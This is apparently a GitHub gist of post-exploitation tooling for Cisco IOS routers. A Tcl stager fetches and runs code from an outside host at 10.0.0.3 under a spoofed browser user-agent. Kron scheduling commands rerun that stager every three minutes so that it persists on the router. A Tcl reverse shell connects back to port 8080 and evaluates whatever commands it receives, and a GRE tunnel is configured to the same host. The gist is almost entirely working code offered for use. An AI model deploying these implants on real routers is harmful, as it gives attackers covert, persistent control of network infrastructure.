Skip to content

Instantly share code, notes, and snippets.

@zimnyaa
Created March 1, 2023 13:48
Show Gist options
  • Save zimnyaa/d6b1878d271a8e059ff3ff33619e0055 to your computer and use it in GitHub Desktop.
Save zimnyaa/d6b1878d271a8e059ff3ff33619e0055 to your computer and use it in GitHub Desktop.
A simple way of making Cisco IOS beacon back to you.
# stage.tcl
set id "cisco-R1"
source "tmpsys:lib/tcl/http.tcl"
::http::config -useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32"
set httpToken [::http::geturl http://10.0.0.3/static/$id]
if {[lindex [split [::http::code $httpToken] " "] 1] == "200"} {
source [::http::data $httpToken]
}
# making it run
R1(config)#kron occurrence telemetry in 0:3 recurring
R1(config-kron-occurrence)#policy-list telemetrypol
Kron: Policy Accepted, Policy telemetrypol needs to be configured
R1(config-kron-occurrence)#kron policy-list telemetrypol
R1(config-kron-policy)#cli tclsh nvram:stage.tcl
# revsh.tcl
set id "cisco-R1"
set revip 10.0.0.3
set revport 8080
set s [socket $revip $revport]
fconfigure $s -translation auto
set c ""
while {$c != "revquit"} {
puts -nonewline $s "IOS-tclsh-$id#"
flush $s
gets $s c
if {![catch {set r [eval $c]} err]} {
puts $s $r
}
flush $s
}
close $s
# GRE tunnel
ios_config "interface tunnel 1" "tunnel mode gre ip" "ip address 172.20.0.2 255.255.255.0" "tunnel source 10.0.0.1" "tunnel destination 10.0.0.3"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment